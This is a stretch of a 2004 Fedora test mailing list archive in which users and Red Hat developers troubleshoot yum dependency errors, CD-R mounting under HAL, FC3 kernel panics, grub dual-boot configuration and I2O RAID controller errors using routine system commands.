seth vidal wrote: >On Thu, 2004-11-18 at 02:04 -0500, Dwaine Garden wrote: > > >>I'm trying to exclude openoffice from the yum download. I can not >>figure it out. What the exclude parameter to proceed with the update. >> >>I tried this. But it did not work. >> >>yum --exclude=openoffice.org-libs update >> >>--> Running transaction check >>--> Processing Dependency: libdb_cxx-4.2.so for package: openoffice.org-libs >>--> Finished Dependency Resolution >>Error: missing dep: libdb_cxx-4.2.so for pkg openoffice.org-libs >> >> >> > >just for fun, try this: > >yum --exclude=openoffice\* update > >-sv > > > > Tried it. Same error. From skvidal at phy.duke.edu Thu Nov 18 07:17:42 2004 From: skvidal at phy.duke.edu (seth vidal) Date: Thu, 18 Nov 2004 02:17:42 -0500 Subject: Yum excluding openoffice from update In-Reply-To: <419C4BA4.7070507@rogers.com> References: <419C497E.708@rogers.com> <1100761713.6336.39.camel@cutter> <419C4BA4.7070507@rogers.com> Message-ID: <1100762262.6336.45.camel@cutter> > > > > > > > > > Tried it. Same error. try this: yum list updates see what's available for the update - maybe something else is going on here. -sv From DwaineGarden at rogers.com Thu Nov 18 07:29:04 2004 From: DwaineGarden at rogers.com (Dwaine Garden) Date: Thu, 18 Nov 2004 02:29:04 -0500 Subject: Yum excluding openoffice from update In-Reply-To: <1100762262.6336.45.camel@cutter> References: <419C497E.708@rogers.com> <1100761713.6336.39.camel@cutter> <419C4BA4.7070507@rogers.com> <1100762262.6336.45.camel@cutter> Message-ID: <419C4F40.4090509@rogers.com> seth vidal wrote: >>> >>> >>> >>> >>Tried it. Same error. >> >> > >try this: yum list updates > >see what's available for the update - maybe something else is going on >here. >-sv > > > > uuummmm.. Do not see anything. No openoffice updates? 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Did you intend to be running rawhide? If so you've just found a broken dep. That happens. -sv From DwaineGarden at rogers.com Thu Nov 18 07:37:06 2004 From: DwaineGarden at rogers.com (Dwaine Garden) Date: Thu, 18 Nov 2004 02:37:06 -0500 Subject: Yum excluding openoffice from update In-Reply-To: <1100763146.6336.60.camel@cutter> References: <419C497E.708@rogers.com> <1100761713.6336.39.camel@cutter> <419C4BA4.7070507@rogers.com> <1100762262.6336.45.camel@cutter> <419C4F40.4090509@rogers.com> <1100763146.6336.60.camel@cutter> Message-ID: <419C5122.7050109@rogers.com> seth vidal wrote: >>Developm >>db4.i386 4.3.21-1 rawhide >>Developm >>db4-devel.i386 4.3.21-1 rawhide >>Developm >>db4-utils.i386 4.3.21-1 rawhide >> >> > > >This is where it's coming from. > >db4 is changing in the development branch and that's broken a dep in >openoffice. > >Did you intend to be running rawhide? > >If so you've just found a broken dep. > >That happens. >-sv > > > > Yep.... I test out the usbvision driver with the latest and greatest. It been like that for about three days. Usually, the broken dep's are resolved by now. Thanks for helping... Dwaine. From linuxnow at newtral.org Thu Nov 18 09:38:15 2004 From: linuxnow at newtral.org (Pau Aliagas) Date: Thu, 18 Nov 2004 10:38:15 +0100 (CET) Subject: yum upgrade? In-Reply-To: <1099510153.4065.9.camel@binkley> References: <4189287C.5060305@broadpark.no> <1099510153.4065.9.camel@binkley> Message-ID: On Wed, 3 Nov 2004, seth vidal wrote: > To upgrade via yum the short version goes like this: > > 1. backup all your data > 2. upgrade yum to yum from fc3 > 3. upgrade fedora-release to fedora-release from fc3 > 4. make sure all your repositories point where you think they should > point. > 5. run yum list updates - just to make sure things seem sane and working > 6. make sure you are NOT in X and X is not loaded > 6. from a terminal prompt run: yum upgrade > 7. wait wait wait > 8. you must reboot before using your system again > 9. reboot the system and make sure you select the new kernel, not the > old one(s) > 10. once your system is fully booted you may want to install some > additional items. Recommended: > yum groupupdate "GNOME Desktop Environment" > > > let me know what problems you encounter. I've done this in my home computer, just to test it and repeat it in a remote computer later, and everythingg updated ok, but I have a very serious problem: the rpm database is empty. Only the newly installed rpms appear. I've tried rpm --rebuilddb and rpm --initdb to no luck. I've just tried to make a CD update and, obviously, as there are no rpms, it does nothing. Any hint to recover this rpm database? Thanks Pau From dave at alfar.co.uk Thu Nov 18 12:04:30 2004 From: dave at alfar.co.uk (Dave) Date: Thu, 18 Nov 2004 12:04:30 +0000 Subject: Controller channel device order swapped over in 2.6.9-1.3_FC2 Message-ID: <419C8FCE.3010809@alfar.co.uk> First I'd like to thank Warren, Alan, Markus et al. for the work put into the I2O driver, it's been working flawlessly. I'm not sure if this is I2O specific (block osm?), but after booting FC2 into the 2.6.9 kernel the order the channels on my 3200S are picked up appear to have become reversed: /dev/i2o/hda -> /dev/i2o/hdd /dev/i2o/hdb -> /dev/i2o/hda /dev/i2o/hdc -> /dev/i2o/hdb /dev/i2o/hdd -> /dev/i2o/hdc Of course I've now sorted out my fstab (swap devices can't have filesystem labels, and I was relying on the device names since I had several drives from other installs with identical filesystem labels on), but I'm pretty certain the old behaviour was 'correct'..... (yes, I know what the standard answer about relying on device numbers is :) ) I'll also have to pluck up the courage to try an FC3 install at some point. -- David Zambonini From dcbw at redhat.com Thu Nov 18 12:41:11 2004 From: dcbw at redhat.com (Dan Williams) Date: Thu, 18 Nov 2004 07:41:11 -0500 (EST) Subject: Yum excluding openoffice from update In-Reply-To: <419C5122.7050109@rogers.com> References: <419C497E.708@rogers.com> <1100761713.6336.39.camel@cutter> <419C4BA4.7070507@rogers.com> <1100762262.6336.45.camel@cutter> <419C4F40.4090509@rogers.com> <1100763146.6336.60.camel@cutter> <419C5122.7050109@rogers.com> Message-ID: Hi, This will hopefully be fixed by tomorrow with a rebuild of OOo. Dan On Thu, 18 Nov 2004, Dwaine Garden wrote: > seth vidal wrote: > > >>Developm > >>db4.i386 4.3.21-1 rawhide > >>Developm > >>db4-devel.i386 4.3.21-1 rawhide > >>Developm > >>db4-utils.i386 4.3.21-1 rawhide > >> > >> > > > > > >This is where it's coming from. > > > >db4 is changing in the development branch and that's broken a dep in > >openoffice. > > > >Did you intend to be running rawhide? > > > >If so you've just found a broken dep. > > > >That happens. > >-sv > > > > > > > > > Yep.... I test out the usbvision driver with the latest and greatest. > It been like that for about three days. Usually, the broken dep's are > resolved by now. > > Thanks for helping... > > Dwaine. > > > > -- > fedora-test-list mailing list > fedora-test-list at redhat.com > To unsubscribe: > http://www.redhat.com/mailman/listinfo/fedora-test-list > From alan at redhat.com Thu Nov 18 12:55:42 2004 From: alan at redhat.com (Alan Cox) Date: Thu, 18 Nov 2004 07:55:42 -0500 Subject: more information on my trouble reading CDROM's with hdc=ide-cd. Anybody else? In-Reply-To: <419BE977.3040001@ku.edu> References: <419BCCD6.40305@ku.edu> <20041117223619.GB4119@devserv.devel.redhat.com> <419BE977.3040001@ku.edu> Message-ID: <20041118125542.GC17205@devserv.devel.redhat.com> On Wed, Nov 17, 2004 at 06:14:47PM -0600, Paul Johnson wrote: > SUCCESS! with: > > mount -t iso9660 /dev/cdrom /mnt/cdrom > > That worked with a CDR I wrote. > > I was suspicious that this reallly fixed it, then unmounted and tried > > mount /dev/cdrom /mnt/cdrom Bingo. Ok I am enlightened. this one isn't actually hal's fault. > What next? Can I configure the hal or udev to get this right? Perhaps. The problem is that some of the other file system code looks at the _end_ of the disk. Unfortunately CD-R doesn't have an "end" it sort of tails out into no-mans land. Most drives politely handle such requests, some don't. The ide-scsi driver has the needed magic to work around some of this, ide-cd lacks it. The HAL fix I guess would be to only try iso9660/udf on CD-R/CD-RW media, but it might ultimately be better if we can fix it kernel side. From alan at redhat.com Thu Nov 18 13:04:44 2004 From: alan at redhat.com (Alan Cox) Date: Thu, 18 Nov 2004 08:04:44 -0500 Subject: Rage 128 - FC3 Testing Needed In-Reply-To: <419C284B.1080701@redhat.com> References: <419C284B.1080701@redhat.com> Message-ID: <20041118130444.GE17205@devserv.devel.redhat.com> On Wed, Nov 17, 2004 at 06:42:51PM -1000, Warren Togami wrote: > System freezes after logout (Rage 128) unless you disable DRI. If you > are a FC3 user with Rage 128 video, your assistance in testing is > required for this issue. Even if you do not experience this issue on > your Rage 128, your testing would be greatly appreciated in order to > avoid introducing a possible regression. Same occurs on mga with the base FC3 kernel (or random memory corruption) Radeon seems ok so far. From pauljohn at ku.edu Thu Nov 18 14:18:58 2004 From: pauljohn at ku.edu (Paul Johnson) Date: Thu, 18 Nov 2004 08:18:58 -0600 Subject: more information on my trouble reading CDROM's with hdc=ide-cd. Anybody else? In-Reply-To: <1100757738.3834.8.camel@davidz> References: <419BCCD6.40305@ku.edu> <20041117223619.GB4119@devserv.devel.redhat.com> <419BE977.3040001@ku.edu> <1100757738.3834.8.camel@davidz> Message-ID: <419CAF52.70803@ku.edu> David Zeuthen wrote: > Hi Paul, > > (please avoid top posting) > > On Wed, 2004-11-17 at 18:14 -0600, Paul Johnson wrote: > >>mount -t iso9660 /dev/cdrom /mnt/cdrom >> >>That worked with a CDR I wrote. >> > > > I'm curious, what is the output of 'cat /etc/mtab'. There's no cd inserted, and hald is running, I get: $ cat /etc/mtab /dev/hda6 / ext3 rw 0 0 none /proc proc rw 0 0 none /sys sysfs rw 0 0 none /dev/pts devpts rw,gid=5,mode=620 0 0 usbfs /proc/bus/usb usbfs rw 0 0 /dev/hda3 /boot ext3 rw 0 0 none /dev/shm tmpfs rw 0 0 /dev/hda5 /home ext3 rw 0 0 /dev/hda10 /tmp ext3 rw 0 0 /dev/hda7 /usr/local ext3 rw 0 0 /dev/hda14 /var ext3 rw 0 0 none /proc/sys/fs/binfmt_misc binfmt_misc rw 0 0 If I put a CD in, it just grinds away, throwing those timout errors. contents of /etc/mtab do not change. # /sbin/service haldaemon stop Stopping HAL daemon: # mount -t iso9660 /dev/cdrom /media/cdrecorder/ mount: block device /dev/cdrom is write-protected, mounting read-only # cat /etc/mtab /dev/hda6 / ext3 rw 0 0 none /proc proc rw 0 0 none /sys sysfs rw 0 0 none /dev/pts devpts rw,gid=5,mode=620 0 0 usbfs /proc/bus/usb usbfs rw 0 0 /dev/hda3 /boot ext3 rw 0 0 none /dev/shm tmpfs rw 0 0 /dev/hda5 /home ext3 rw 0 0 /dev/hda10 /tmp ext3 rw 0 0 /dev/hda7 /usr/local ext3 rw 0 0 /dev/hda14 /var ext3 rw 0 0 none /proc/sys/fs/binfmt_misc binfmt_misc rw 0 0 /dev/hdc /media/cdrecorder iso9660 ro 0 0 Also, does this work > even when hald is running? With hald running, I can't mount the cd at all, because the system tries to automatically mount and the cdrom just grinds away: Nov 18 08:04:53 pols111 kernel: hdc: irq timeout: status=0xd0 { Busy } Nov 18 08:04:53 pols111 kernel: hdc: irq timeout: error=0xd0LastFailedSense 0x0d Nov 18 08:04:53 pols111 kernel: hdc: DMA disabled Nov 18 08:04:54 pols111 kernel: hdc: ATAPI reset complete >> I was suspicious that this really fixed it, then unmounted and tried >> >>mount /dev/cdrom /mnt/cdrom >> >>And those irq timeout errors happened again. >> > > > And what is the output of the 'cat /etc/mtab' here? Also, does this also > fail even when hald is not running? # umount /media/cdrecorder/ # mount /dev/cdrom /media/cdrecorder/ To my suprise, unlike yesterday, this did work. Either there is a ghost in the computer, or upgrading the FC3 kernel yesterday changed something. I'll have to restart to find out. Blech. # cat /etc/mtab /dev/hda6 / ext3 rw 0 0 none /proc proc rw 0 0 none /sys sysfs rw 0 0 none /dev/pts devpts rw,gid=5,mode=620 0 0 usbfs /proc/bus/usb usbfs rw 0 0 /dev/hda3 /boot ext3 rw 0 0 none /dev/shm tmpfs rw 0 0 /dev/hda5 /home ext3 rw 0 0 /dev/hda10 /tmp ext3 rw 0 0 /dev/hda7 /usr/local ext3 rw 0 0 /dev/hda14 /var ext3 rw 0 0 none /proc/sys/fs/binfmt_misc binfmt_misc rw 0 0 /dev/hdc /media/cdrecorder iso9660 ro 0 0 > > My suspicion is that the fs detection code in mount(1) doesn't get it > right (mount(1) tries to detect the filesystem when auto is specified), > hence why I'm asking for the /etc/mtab outputs. This may be caused by > driver issues in the kernel that is drive specific. > > I could be wrong though. > -- Paul E. Johnson email: pauljohn at ku.edu Dept. of Political Science http://lark.cc.ku.edu/~pauljohn 1541 Lilac Lane, Rm 504 University of Kansas Office: (785) 864-9086 Lawrence, Kansas 66044-3177 FAX: (785) 864-5700 From marcmo at foxriver.com Thu Nov 18 14:36:08 2004 From: marcmo at foxriver.com (Marcos A. Mondragon) Date: Thu, 18 Nov 2004 08:36:08 -0600 Subject: New FC3 Kernel causes panic Message-ID: <1100788568.8041.7.camel@frln06.foxriver.com> On Wed, Nov 17, 2004 at 09:48:50PM +0000, Si Jones wrote: > Am having the same problem as well: > > SATA Drive is connected to the Nvidia nforce3, Athlon64. > > Need any more info? Same here ... MSI KT8Neo Platinum motherboard, AMD64, nforce3-250 SATA chipset. -- Marc Mondragon Fox River Financial Resources/Ritchie Capital Investments, Ltd. 2100 Enterprise Avenue Geneva, IL 60134 marcmo at foxriver.com -------------- next part -------------- A non-text attachment was scrubbed... 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Because using the BLKGETSIZE64 ioctl() on the device file we get 667502592 for FC3-i386-gold-disc3 668524544 for FC3-i386-gold-disc2 Hmm; the ISO files are this size -rw-r--r-- 3 root root 668520448 Nov 3 17:07 FC3-i386-disc2.iso -rw-r--r-- 3 root root 667498496 Nov 3 17:08 FC3-i386-disc3.iso which, respectively, is exactly 4096 bytes (two blocks of 2k) less than what the ioctl() gives. I wonder why that is; maybe it's just a wild goose chase, just curious. > Most drives politely handle such > requests, some don't. The ide-scsi driver has the needed magic to work > around some of this, ide-cd lacks it. > > > The HAL fix I guess would be to only try iso9660/udf on CD-R/CD-RW media, Yeah, that would screw some other users though, e.g. people actually put HFS/HFS+ (Apple install media) and ext2 (e.g. DVD-RAM) on optical discs. I suppose a better fix is to only look for filesystems that doesn't require looking at the end of the disk. That would indeed also include HFS/HFS+ (superblock is at 0x0200 offset like ext3). Reason we look at the end of the disk is that it's smart to probe for RAID/LVM1/LVM2 (which has the superblock at the end of the disk) before anything else as we otherwise might have a false positive. Just think of the havoc that adding /dev/sda1 being a RAID mirror member and g-v-m mounting that because it was added to the /etc/fstab. That would not be nice. > but it might ultimately be better if we can fix it kernel side. > Yah. Is that hard, e.g. can it be done within a reasonable time frame? I'd hate to put yet another special case into hal to work around a kernel bug. Cheers, David From alan at redhat.com Thu Nov 18 16:09:18 2004 From: alan at redhat.com (Alan Cox) Date: Thu, 18 Nov 2004 11:09:18 -0500 Subject: more information on my trouble reading CDROM's with hdc=ide-cd. Anybody else? In-Reply-To: <1100793289.3607.28.camel@davidz> References: <419BCCD6.40305@ku.edu> <20041117223619.GB4119@devserv.devel.redhat.com> <419BE977.3040001@ku.edu> <20041118125542.GC17205@devserv.devel.redhat.com> <1100793289.3607.28.camel@davidz> Message-ID: <20041118160918.GA21557@devserv.devel.redhat.com> On Thu, Nov 18, 2004 at 10:54:49AM -0500, David Zeuthen wrote: > Really? Because using the BLKGETSIZE64 ioctl() on the device file we get Yes - see the specification. > Yah. Is that hard, e.g. can it be done within a reasonable time frame? > I'd hate to put yet another special case into hal to work around a > kernel bug. It depends when someone with a detailed knowledge of the new block queueing layer in 2.6 has time to look at it. I'm not sufficiently familiar with that code to do it quickly. From nphilipp at redhat.com Thu Nov 18 16:27:23 2004 From: nphilipp at redhat.com (Nils Philippsen) Date: Thu, 18 Nov 2004 17:27:23 +0100 Subject: Slashdot is discussing "FC3: worthwhile or not ?" In-Reply-To: <200411151849.01868.tim@birdsnest.maths.tcd.ie> References: <1100537064.12442.9.camel@localhost.localdomain> <1100537155.12442.11.camel@localhost.localdomain> <200411151849.01868.tim@birdsnest.maths.tcd.ie> Message-ID: <1100795243.4341.23.camel@gibraltar.stuttgart.redhat.com> On Mon, 2004-11-15 at 18:49 +0000, Timothy Murphy wrote: > I guess I'm not really convinced that sufficient time and effort > is devoted by the Fedora team to ironing out installation problems. > [My view is strengthened by the fact that > a simple patch to xorg-x11 posted over 6 months ago - not by me - > has still not been applied, > although this means that X will not run on my Sony Picturebook, > and I assume on most other Picturebooks too. > If you are interested you will find some info on this > at http://www.maths.tcd.ie/~tim/Picturebook/ .] Which Bugzilla number is this? The URL only gives a binary RPM and an xorg.conf, the only info I could draw from that is that the Pictureboook apparently has a display with 1024x480 pixels ;-). > I must confess I have this niggling feeling > that Redhat may not feel it is in their interest > for Fedora to be too easy to install and use, > as this might lesses the attraction of their commercial system. FC development is fed directly into what becomes the next RHEL release. Even though FC is not a product to be sold, we try to make it as good as any RHL release in the past, if only not to run into problems later when we base a RHEL version on it. What you don't break you don't need to fix ;-). There are quite some more reasons why we want to make every FC release the best we can. Granted, there are always some things that fall short of that goal when we have a time-based development cycle, but from a user's perspective I'd rather have that than waiting years for a final release. > I hope someone will tell me this is nonsense. Sure it is ("we strive to please" ;-). I have used Red Hat Linux/Fedora for quite a while and my (obviously biased) opinion is that things have overall went for the better. It is clear that there isn't a guarantee that updates/replacements in new versions don't introduce the one or the other "regression" (real bugs, new tool Y misses feature Z from replaced tool X, ...) but all in all I'd say that the recent RHL/FC versions have always been better than their predecessors -- with the occasional brown paper bag in between. I dare say that we have evolved from the "don't use .0 releases"-age (granted we don't have .0 releases anymore, but I think you get my point). In other words: As I'm the one taking care of the computers at home I dictate the OS -- the Windows 98 box is used only for the occasional game or IKEA kitchen planner ;-). As a result from that my wife comes to me when things are broken and I think the number of complaints has been decreasing over the time. What more can I ask for? Nils -- Nils Philippsen / Red Hat / nphilipp at redhat.com "They that can give up essential liberty to obtain a little temporary safety deserve neither liberty nor safety." -- B. Franklin, 1759 PGP fingerprint: C4A8 9474 5C4C ADE3 2B8F 656D 47D8 9B65 6951 3011 -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 189 bytes Desc: This is a digitally signed message part URL: From nphilipp at redhat.com Thu Nov 18 16:43:52 2004 From: nphilipp at redhat.com (Nils Philippsen) Date: Thu, 18 Nov 2004 17:43:52 +0100 Subject: New FC3 Kernel causes panic In-Reply-To: <1100729602.3447.3.camel@oscar.metro1.com> References: <1100721758.3831.5.camel@cei3772.empower.ceimaine.org> <20041117200719.GB2078@devserv.devel.redhat.com> <1100722143.3831.10.camel@cei3772.empower.ceimaine.org> <1100722644.3500.1.camel@oscar.metro1.com> <20041117202740.GB12179@redhat.com> <1100725783.3495.7.camel@oscar.metro1.com> <1100726859.3831.19.camel@cei3772.empower.ceimaine.org> <20041117214309.GB20863@redhat.com> <1100728130.9683.12.camel@apple.bananas.hopto.org> <20041117220743.GD20863@redhat.com> <1100729602.3447.3.camel@oscar.metro1.com> Message-ID: <1100796232.4341.26.camel@gibraltar.stuttgart.redhat.com> On Wed, 2004-11-17 at 14:13 -0800, Sean Bruno wrote: > Could be a red-herring, but I peeked into the 667 and 678(SMP versions). > > It looks like the only difference is "dm_mod" Do you mean that dm_mod is missing from the initrd or that the dm_mod module is different in -1.678* or something else? > > I'm not sure what this module does, but it looks important. It's the device mapper module, it is needed for LVM among other things. Nils -- Nils Philippsen / Red Hat / nphilipp at redhat.com "They that can give up essential liberty to obtain a little temporary safety deserve neither liberty nor safety." -- B. Franklin, 1759 PGP fingerprint: C4A8 9474 5C4C ADE3 2B8F 656D 47D8 9B65 6951 3011 -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 189 bytes Desc: This is a digitally signed message part URL: From nphilipp at redhat.com Thu Nov 18 16:47:39 2004 From: nphilipp at redhat.com (Nils Philippsen) Date: Thu, 18 Nov 2004 17:47:39 +0100 Subject: Fedora C3 specific dual boot question In-Reply-To: <10503aff04111712165798eb9@mail.gmail.com> References: <20041117200912.F364273AFD@hormel.redhat.com> <10503aff04111712165798eb9@mail.gmail.com> Message-ID: <1100796460.4341.30.camel@gibraltar.stuttgart.redhat.com> On Wed, 2004-11-17 at 15:16 -0500, Joe Borne wrote: > OK, I now have Solaris 10 installed on a 2nd internal HD. However, > when I attempted to modify the grub boot loader I am stymied by the > way FC3 set up my system. > > The grub entyr I put in is: > > title Solaris 10 > rootnoverify (hd3,1) If this is indeed your second internal HD (well should be because your BIOS can only access the first two HDs), it should be (hd1,1) -- grub configuration is done from a BIOS point of view. > makeactive > chainloader +1 > > Because I now have Sol10 on /dev/hdc, partition 1 Did it install its bootloader at the beginning of the first partition or into the MBR of that disk? > > But FC3 configured my system with the internal drive as an LVM (smart, > I liked that, but now it's a new wrinkle). > > So my fstab is this: > > /dev/VolGroup00/LogVol00 / ext3 defaults 1 1 > LABEL=/boot /boot ext3 defaults 1 2 > none /dev/pts devpts gid=5,mode=620 0 0 > none /dev/shm tmpfs defaults 0 0 > none /proc proc defaults 0 0 > none /sys sysfs defaults 0 0 > /dev/VolGroup00/LogVol01 swap swap defaults 0 0 > /dev/hdd /media/cdrw_dvdr auto > noauto,user,exec,managed,ro 0 0 > /dev/fd0 /media/floppy auto > noauto,user,exec,managed 0 0 > > > So when I attempt to perform the following sequence, grub does not > recognize any of the drives I am calling for. Do you mean it refuses to install the MBR or that booting Solaris doesn't work (I'd expect that it wouldn't given your config above) or that booting in general doesn't work? Nils -- Nils Philippsen / Red Hat / nphilipp at redhat.com "They that can give up essential liberty to obtain a little temporary safety deserve neither liberty nor safety." -- B. Franklin, 1759 PGP fingerprint: C4A8 9474 5C4C ADE3 2B8F 656D 47D8 9B65 6951 3011 From david at fubar.dk Thu Nov 18 17:21:29 2004 From: david at fubar.dk (David Zeuthen) Date: Thu, 18 Nov 2004 12:21:29 -0500 Subject: more information on my trouble reading CDROM's with hdc=ide-cd. Anybody else? In-Reply-To: <20041118160918.GA21557@devserv.devel.redhat.com> References: <419BCCD6.40305@ku.edu> <20041117223619.GB4119@devserv.devel.redhat.com> <419BE977.3040001@ku.edu> <20041118125542.GC17205@devserv.devel.redhat.com> <1100793289.3607.28.camel@davidz> <20041118160918.GA21557@devserv.devel.redhat.com> Message-ID: <1100798489.7460.5.camel@davidz> On Thu, 2004-11-18 at 11:09 -0500, Alan Cox wrote: > On Thu, Nov 18, 2004 at 10:54:49AM -0500, David Zeuthen wrote: > > Really? Because using the BLKGETSIZE64 ioctl() on the device file we get > > Yes - see the specification. > I'm curious why BLKGETSIZE64 ioctl() then succeeds and give me the size if you say it's bogus? Care to explain the 4096 byte difference? Hmm, it looks like I should put code in hal to set size as zero for CD-R and CD-RW media [1] and then make the fs detection code in hal not look at the end of the disk if size is zero. [1] : Exactly what media does this apply to? All non DVD-ROM and CD-ROM? Btw, wouldn't it be a lot nicer if the kernel started to give out e.g. /sys/block/hdc/hdc%d for the various partitions and sessions (assuming hdc is an optical IDE drive)? I guess the kernel could safely give the right size of /sys/block/hdc/hdc1. With that it would be a lot easier to support e.g. PhotoCD discs (which are multisession). FWIW, that's what Darwin does. Cheers, David From tim at birdsnest.maths.tcd.ie Thu Nov 18 17:24:08 2004 From: tim at birdsnest.maths.tcd.ie (Timothy Murphy) Date: Thu, 18 Nov 2004 17:24:08 +0000 Subject: Slashdot is discussing "FC3: worthwhile or not ?" In-Reply-To: <1100795243.4341.23.camel@gibraltar.stuttgart.redhat.com> References: <1100537064.12442.9.camel@localhost.localdomain> <200411151849.01868.tim@birdsnest.maths.tcd.ie> <1100795243.4341.23.camel@gibraltar.stuttgart.redhat.com> Message-ID: <200411181724.10362.tim@birdsnest.maths.tcd.ie> On Thursday 18 November 2004 16:27, Nils Philippsen wrote: > > I guess I'm not really convinced that sufficient time and effort > > is devoted by the Fedora team to ironing out installation problems. > > [My view is strengthened by the fact that > > a simple patch to xorg-x11 posted over 6 months ago - not by me - > > has still not been applied, > > although this means that X will not run on my Sony Picturebook, > > and I assume on most other Picturebooks too. > > If you are interested you will find some info on this > > at http://www.maths.tcd.ie/~tim/Picturebook/ .] > > Which Bugzilla number is this? The URL only gives a binary RPM and an > xorg.conf, the only info I could draw from that is that the Pictureboook > apparently has a display with 1024x480 pixels ;-). Apologies. The (very small) patches can be found at <. (I've added that info to the README at the URL I gave -) I made the xorg-x11 rpm I compiled available in response to requests from Picturebook owners. If you have any influence on the Xorg team, please use it to get this patch into the xorg-x11 distribution, and if possible into FC-3 too. -- Timothy Murphy e-mail (<80k only): tim /at/ birdsnest.maths.tcd.ie tel: +353-86-2336090, +353-1-2842366 s-mail: School of Mathematics, Trinity College, Dublin 2, Ireland From alan at redhat.com Thu Nov 18 17:31:48 2004 From: alan at redhat.com (Alan Cox) Date: Thu, 18 Nov 2004 12:31:48 -0500 Subject: more information on my trouble reading CDROM's with hdc=ide-cd. Anybody else? In-Reply-To: <1100798489.7460.5.camel@davidz> References: <419BCCD6.40305@ku.edu> <20041117223619.GB4119@devserv.devel.redhat.com> <419BE977.3040001@ku.edu> <20041118125542.GC17205@devserv.devel.redhat.com> <1100793289.3607.28.camel@davidz> <20041118160918.GA21557@devserv.devel.redhat.com> <1100798489.7460.5.camel@davidz> Message-ID: <20041118173148.GA2478@devserv.devel.redhat.com> On Thu, Nov 18, 2004 at 12:21:29PM -0500, David Zeuthen wrote: > I'm curious why BLKGETSIZE64 ioctl() then succeeds and give me the size > if you say it's bogus? Care to explain the 4096 byte difference? We ask the drive it reports an answer. That answer is not precise > [1] : Exactly what media does this apply to? All non DVD-ROM and CD-ROM? CD-R and CD-RW. I don't know enough about DVD formats to answer on those. > e.g. /sys/block/hdc/hdc%d for the various partitions and sessions > (assuming hdc is an optical IDE drive)? I guess the kernel could safely > give the right size of /sys/block/hdc/hdc1. With that it would be a lot The kernel can guess the size of partitions if the partition table gives sizes. > easier to support e.g. PhotoCD discs (which are multisession). FWIW, > that's what Darwin does. Multisession is not the same as partitioned. We do support mounting other sessions but as a mount option. We don't cleanly handle partitioned CD which is unfortunate for HFS stuff. Alan From nphilipp at redhat.com Thu Nov 18 18:08:13 2004 From: nphilipp at redhat.com (Nils Philippsen) Date: Thu, 18 Nov 2004 19:08:13 +0100 Subject: Slashdot is discussing "FC3: worthwhile or not ?" In-Reply-To: <200411181724.10362.tim@birdsnest.maths.tcd.ie> References: <1100537064.12442.9.camel@localhost.localdomain> <200411151849.01868.tim@birdsnest.maths.tcd.ie> <1100795243.4341.23.camel@gibraltar.stuttgart.redhat.com> <200411181724.10362.tim@birdsnest.maths.tcd.ie> Message-ID: <1100801294.4341.41.camel@gibraltar.stuttgart.redhat.com> On Thu, 2004-11-18 at 17:24 +0000, Timothy Murphy wrote: > On Thursday 18 November 2004 16:27, Nils Philippsen wrote: > > > > I guess I'm not really convinced that sufficient time and effort > > > is devoted by the Fedora team to ironing out installation problems. > > > [My view is strengthened by the fact that > > > a simple patch to xorg-x11 posted over 6 months ago - not by me - > > > has still not been applied, > > > although this means that X will not run on my Sony Picturebook, > > > and I assume on most other Picturebooks too. > > > If you are interested you will find some info on this > > > at http://www.maths.tcd.ie/~tim/Picturebook/ .] > > > > Which Bugzilla number is this? The URL only gives a binary RPM and an > > xorg.conf, the only info I could draw from that is that the Pictureboook > > apparently has a display with 1024x480 pixels ;-). > > Apologies. The (very small) patches can be found at > <. > (I've added that info to the README at the URL I gave -) > I made the xorg-x11 rpm I compiled available > in response to requests from Picturebook owners. > > If you have any influence on the Xorg team, Well, I don't (not being an X maintainer and such)... > please use it to get this patch into the xorg-x11 distribution, > and if possible into FC-3 too. Please open a bugzilla entry at bugzilla.redhat.com against the Fedora Core product and the xorg-x11 component, referencing the "foreign" bugzilla entry. Nils -- Nils Philippsen / Red Hat / nphilipp at redhat.com "They that can give up essential liberty to obtain a little temporary safety deserve neither liberty nor safety." -- B. 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URL: From fedora at ehoeve.com Thu Nov 18 19:14:28 2004 From: fedora at ehoeve.com (Eric Hoeve) Date: Thu, 18 Nov 2004 13:14:28 -0600 Subject: Seeing Errors using I2O w/ ASR-2000S Message-ID: <1100805267.2323.164.camel@ws28.ehoeve.com> I am seeing lots of errors in /var/log/messages after modprobe i2o_scsi. /var/log/messages -------------------------------- kernel: scsi-osm: SCSI error 05001200 last message repeated 14 times kernel: scsi-osm: SCSI error 05001200 last message repeated 14 times kernel: scsi-osm: SCSI error 05000002 kernel: 70 kernel: 00 kernel: 06 kernel: 00 last message repeated 3 times kernel: 14 kernel: 00 last message repeated 3 times kernel: 29 bucky kernel: 00 last message repeated 8 times kernel: 01 kernel: 2a kernel: 52 kernel: f0 kernel: 00 kernel: 00 kernel: 80 kernel: 00 last message repeated 6 times kernel: d0 kernel: st0: Block limits 1 - 16777215 bytes. kernel: Buffer I/O error on device sda1, logical block 30724160 kernel: Buffer I/O error on device sda1, logical block 30724161 kernel: Buffer I/O error on device sda1, logical block 30724162 kernel: Buffer I/O error on device sda1, logical block 30724163 kernel: Buffer I/O error on device sda1, logical block 30724164 kernel: Buffer I/O error on device sda1, logical block 30724165 kernel: Buffer I/O error on device sda1, logical block 30724166 kernel: Buffer I/O error on device sda1, logical block 30724167 kernel: Buffer I/O error on device sda1, logical block 30724168 . . . These "Buffer I/O error on device sdaX" keep appearing periodically, where sdaX are disks that are part of my RAID configuration. lsmod shows: i2o_scsi 11585 0 ext3 117961 5 jbd 59353 1 ext3 i2o_block 16333 7 i2o_core 41949 2 i2o_scsi,i2o_block sd_mod 20289 0 scsi_mod 112136 3 st,i2o_scsi,sd_mod Hardware: Supermicro P4DP6/E7500/Adaptec 7899W Ultra 160 Dual Xeon 2.4 Adaptec 2000S zero-channel RAID controller 32MB (BIOS 1.41 2001/07/13) Sony SDT-11000 DDS-4 68-pin Ultra 2/LVD lspci 00:00.0 Host bridge: Intel Corp. E7500 Memory Controller Hub (rev 02) 00:00.1 Class ff00: Intel Corp. E7500/E7501 Host RASUM Controller (rev 02) 00:02.0 PCI bridge: Intel Corp. E7500/E7501 Hub Interface B PCI-to-PCI Bridge (rev 02) 00:03.0 PCI bridge: Intel Corp. E7500/E7501 Hub Interface C PCI-to-PCI Bridge (rev 02) 00:1d.0 USB Controller: Intel Corp. 82801CA/CAM USB (Hub #1) (rev 02) 00:1d.1 USB Controller: Intel Corp. 82801CA/CAM USB (Hub #2) (rev 02) 00:1d.2 USB Controller: Intel Corp. 82801CA/CAM USB 